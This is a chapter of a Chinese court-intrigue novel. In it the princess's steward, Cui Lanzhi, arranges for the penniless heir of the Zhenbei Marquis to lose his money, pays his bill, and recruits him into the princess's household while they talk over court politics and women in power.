周昭野人没去,只听说镇北侯最近新学会了阴阳怪气神功,亲切地问候谢公公怎么流年不利呀?是谁家开年门口死人,年后家被烧了啊? 谢公公于是认为镇北侯府有纵火的嫌疑,下令圣安司彻查镇北侯府最近的往来人等,当天就查出镇北侯在侯府外有个相好,回禀时‘恰好’侯夫人就在场,差点跟镇北侯当场打起来……谢公公只说风凉话,说侯爷左拥右抱怎么就不记得正事,丢了的世子找到了吗? 丢了的世子就差饿死在公主府门口了。 周昭野奇道:“怎么连包子都吃不起了?” 她和崔兰止两个藏在拐角处的阴影里,观察着不远处小摊上一脸窘迫的镇北侯世子。萧策今早显然是饿坏了,一来就叫了两屉包子,结果吃完正要摸兜,发现钱没了。 这直性子公子哥儿压根不知道怎么跟摊主商议,只能在原地搓手站着,愤恨,委屈,并且很大只。 崔兰止说:“我找了个扒手把他的钱偷走了……” 周昭野感慨道:“你说这,哎呀,这,啧啧啧。” 小脏活儿都处理不了,还想摆平大脏活儿?给那幕后庄家的牙都要笑掉了。 不过倒这能看出来萧世子人品不错,不是仗势欺人的人。他一见之下便知武艺不凡,被那小贩揪着衣领痛批,只是笨嘴拙舌地解释,却并不恃武行凶,其实那摊子他掀两把也就翻了。 周昭野拍了拍崔兰止,转身回府了。 “我真的是钱被偷了,来你这里吃霸王餐,我会还你钱的……”萧策只会车轱辘话反复说,摊主揪着他大声道:“哎你这人,谁来我这儿吃完都说这么句话,我生意要不要做的啦?客人你讲点道理嘛!” 萧策道:“老板你想怎么办,能帮你做到的,我都会帮你做到……” 摊主说:“我就是想叫你还钱!客人你一看人高马大的,不像是没钱的人啊!” 萧策只能再次车轱辘,那摊主眼尖,一眼扫到萧策腰上悬着的玉佩:“那你用这玉佩抵账吧!” 萧策无奈道:“老板这个不行,这是我母亲送我的……” 摊主横眉立目:“客人你这也不行那也不行,你想怎么的!” 围观的人七嘴八舌:“哟,这么漂亮的小伙子……” “怎么吃个包子都不付钱呀……” “这世道,真是人不可貌相……” “光天化日就敢这么放肆……” 萧策道:“这样,老板我把这个腰牌给你,你去镇北侯府找门房,就说是世子爷让你去销帐的,自然就……” “去你的,满嘴胡喷!”小摊主不可思议道,“你是镇北侯府世子,我还是皇帝呢!” 萧策:“……” “你要真是什么世子,你怎么自己不去?” 萧策:“……” 小摊主道:“再说了那镇北侯府高门大户的,做事多他妈霸道!我去了再打我一顿!” 萧策肉眼可见地萎靡了一分:“镇北侯府在京城行事作风竟然如此霸道吗……” 小摊主一伸手,道:“少扯没有用的,还钱!” 一块碎银轻轻搁在了小摊贩的手里,白衣而来的人仿佛神仙下凡:“这位公子的账,我替他结了。” 摊主眼一立,掂了两下,立刻就满意了。喜笑颜开道:“哟这么多!得嘞!您二位坐!我再给您上壶茶!” 萧策一愣:“你是……” 那天在酒楼的?一直跟在定国公主身边的人? 崔兰止道:“萧公子坐。公主府离镇北侯府不远,再闹下去,被镇北侯听到了可不是闹着玩的。” 萧策只好也坐。崔兰止看了他一圈,只见这公子哥果然过得不好,还是那天从公主府出去时的一身黑衣,脏兮兮的,一看就知道没地方洗,头发都要打结了。 “我姓崔,是殿下身边的长史。”崔兰止道,“这两天老是看见萧公子,今天看您好像有麻烦,才贸然出手,萧公子不要见怪。” 萧策沉闷道:“你们京城人说话真弯弯绕绕,明明是你帮了我,怎么还叫我不要见怪?” 崔兰止道:“举手之劳而已。萧公子怎么憔悴至此?” 萧策丧道:“被人偷了钱,说来丢脸,我武艺不低,怎能如此简单就被小毛贼摸走荷包。” 崔兰止心想当然是因为你被做局了,偷你钱包的不是什么毛贼,是前两年京城赫赫有名的神偷,偷个荷包,头不抬眼不睁一走一过的事儿,除非你常年在市井里打滚,接触各类三教九流,否则当然察觉不到。 他装作和自己毫无关系的样子:“可惜,可惜。” 萧策大概这几天被市井好顿毒打,已经看不出在公主府直呼定国殿下名讳的气焰,整个人沉定黯然了许多:“我……” 他长长叹了口气:“没想到,此事竟然如此艰难。” 他空有一些似是而非的线索,可离了镇北侯府世子的身份,去跟任何一个可能有关联的人说话,连人家的门房都进不去。他久在截云关,在京城连个年纪相仿的朋友都没有,也没个人出谋划策。 仗着武功好,倒确实在一些暗处偷听到了什么似乎很关键的信息,然而没有前因后果,好像一块硕大的拼图,他是拼图中心的孤片,举目四顾,和哪里都接不上。 京城的一切,似乎都要比战场上复杂得太多。 只有一个曾经一起在军中上阵,后来被调回京城的故友裴彻,在最开始听说他的境况后把他放到了望江楼,可裴彻似乎也很忙,从望江楼出来后就失去了联系,听说是出京了。 这几日他只认清了一件事。 在京城,无论想做什么,如果没有人帮忙,都是绝对做不成的。而镇北侯府的旧友不是他的旧友,他父亲的纽带不是他的纽带,如果不想听父亲的打算,他必须自己想办法。 这或许也是那全是臭架子的定国公主希望他明白的事吧。 “人在低处,风尘中,真是能学到很多东西。我从未曾有过这样落魄的时候,见过这样多的世情。”萧策苦笑道:“公主殿下希望我做什么吗?” 崔兰止有些惊奇:“萧公子知道……” “我本来不知道公主什么打算,但看到你往这里一坐,我就明白了。”萧策道,“你们是不是真觉得我是个傻子啊。” 崔兰止失笑:“萧公子说笑了。” “十年前,我父亲谋反,连累满门。但因在乱军中我救了殿下一命,殿下力保我活下来,又跟了我公主府长史的身份,容我活到今天,大事小情,从未有一丝一毫的猜忌。”崔兰 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“殿下最近在查一件大事。”崔兰止道,“此事我经手查了一段日子,我只能说,非常险。牵连甚广,未必比西北军需背后的这个人简单。倘或殿下帮世子查西北军需,世子能帮殿下这个忙吗?” 萧策道:“我在兵部说不上话。” 崔兰止道:“殿下只要世子这个人。” 萧策疑惑道:“我能做什么?” “在殿下要查的这件事水落石出之前,萧公子是否愿意以公主府属官的身份随侍左右?这件事一日不水落石出,萧公子一日不回截云关。倘或殿下不日离开京城,萧公子需跟随在侧,保护殿下周全。”崔兰止道,“这是桩公平交易。” 萧策一愣,随即突然意识到——此事不是不行! 过不了多久镇北侯就要回截云关坐镇,眼瞧着暴躁老爹的意思是不想让自己离开京城——这事儿可以再商量——而他只要不娶公主,还跟家里倔着,那兵部的官职是不可能给他起复的。 可公主府完全是镇北侯府势力范围之外,如果他进公主府,诸事便宜,也谁都管不了他! 就是名声不好听……堂堂镇北侯世子,去给定国殿下当属官…… “其实殿下的意思就只是到这里。”崔兰止道,“这是有里子没面子的事,所以只怕公子在乎脸面不肯。” 然而萧策没想多久就斩钉截铁道:“可以!我不是在乎面子的人!” 镇北侯世子都满街乱窜去给酒楼跑堂了,他在乎什么面子? “但我不是这么想的。”崔兰止却话锋一转。 萧策奇道:“你?” 你不是公主府的长史吗?你才纯粹是定国殿下的属官,你有什么多余的好想的? “兵部,镇北侯,朝廷上的太多人对殿下的态度都微妙了很多年了。我看世子爷是不说谎的人,所以想问世子爷一句。”崔兰止道,“对于‘牝鸡司晨’这句话,世子爷到底怎么看的?” 这话问的不可谓不尖锐。 不管皇帝性情才干如何,但其实大家都知道,定国辅政,终究只是‘辅’政。随着这二位各自大婚,该回去贤良淑德的,该上朝独揽朝纲的,都是迟早的事,甚至迫在眉睫。 这或许也是那些老学究们忍受定国公主的本质原因:就算牝鸡司晨了,能怎么样?她还能再思几天?这个问题只会拿出来说嘴,但不会真的认真讨论,因为时限迫在眉睫。 所以皇帝选秀,各方都有小心思,哪怕一向不爱权斗的殿下,也亲自在民间挑了个美貌女子,试图不叫皇后之位旁落。 可不该是这样的。崔兰止想,这朝廷上的事不该是这样的。 这么多年来他眼睁睁看着周昭野如何夙兴夜寐地处理朝政,而自从先帝死后,四方军权旁落,皇家弹压朝堂无力,皇帝躲进后宫,一点做正事的心思都没有。各地的贪腐,日渐庞大的阉党…… 只有权斗才是活路吗?如果大家都只为了私利而把水搅浑,登上高位,那等到登上高位之后呢?治理什么? 镇北侯敢当面跳脸要钱,他们都知道萧破军那么要钱,一定是自己贪了不少,可他就是敢来公主府拍桌子。跳完脸后竟然大言不惭地去找闻阁老提亲,崔兰止不在乎自己的颜面,可闻阁老当面向殿下施压,算盘珠子简直都要崩到殿下脸上来。 为什么执政这么多年,殿下仍有这么多掣肘? 还不如就和谢辞渊结盟!至少太监还会做些表面功夫! “我不知道你们京城里这些事那些事的。”萧策说,“我读书也不多。不过我也有个问题。” 崔兰止神色淡淡,挑了下眉,示意萧策说。 “如果这个天下只是需要天亮起来。”萧策问,“是公鸡叫亮的还是母鸡叫亮的,这重要吗?” 天刚刚黑下来。 公主府,银安殿。 “他这么说啊。”周昭野笑了一声,“确实比他爹招人喜欢多了。” 崔兰止道:“这样我们就有时间了。” “是啊……”周昭野喃喃道,“不管出于什么目的,我把萧策放在身边,至少老师会满意,镇北侯就算知道了也不会说什么——大不了让他觉得这是我和萧策的事有戏,我看他也不会在意这一点脸面。” 她有些惆怅地叹了口气,抬头凝视崔兰止:“我把萧策这样放在身边,你不生气吗?”